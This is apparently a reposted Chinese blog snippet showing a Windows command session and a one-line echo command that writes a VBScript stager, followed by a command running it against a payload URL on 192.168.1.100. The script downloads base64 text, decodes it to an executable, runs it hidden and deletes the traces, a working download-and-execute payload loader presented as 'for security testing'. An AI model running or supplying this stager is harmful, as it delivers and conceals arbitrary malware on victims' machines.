  1. C:\Documents and Settings\test\Desktop>cscript.exe %TEMP%\msf.vbs TVqQAAMAA.....AAAAAP
  2. Microsoft (R) Windows Script Host Version 5.7
  3. Copyright (C) Microsoft Corporation. All rights reserved.
  4. C:\DOCUME~1\test\LOCALS~1\Temp\msf.vbs(1, 53) Microsoft VBScript compilation error: Syntax error
  • origin payload size: 6160
  • netcat handle payload size: 4068

请自己尝试,为了安全测试,另外创建了一个vbs脚本。

echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^<B64DECODE xmlns:dt=^" ^& Chr(34) ^& ^"urn:schemas-microsoft-com:datatypes^" ^& Chr(34) ^& ^" ^" ^& ^"dt:dt=^" ^& Chr(34) ^& ^"bin.base64^" ^& Chr(34) ^& ^"^>^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs

运行以下命令来执行您的vbs payload:

START /B cscript.exe %TEMP%\msf.vbs http://192.168.1.100:8080/payload.txt

参考来源


声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/388961
推荐阅读
相关标签
  

闽ICP备14008679号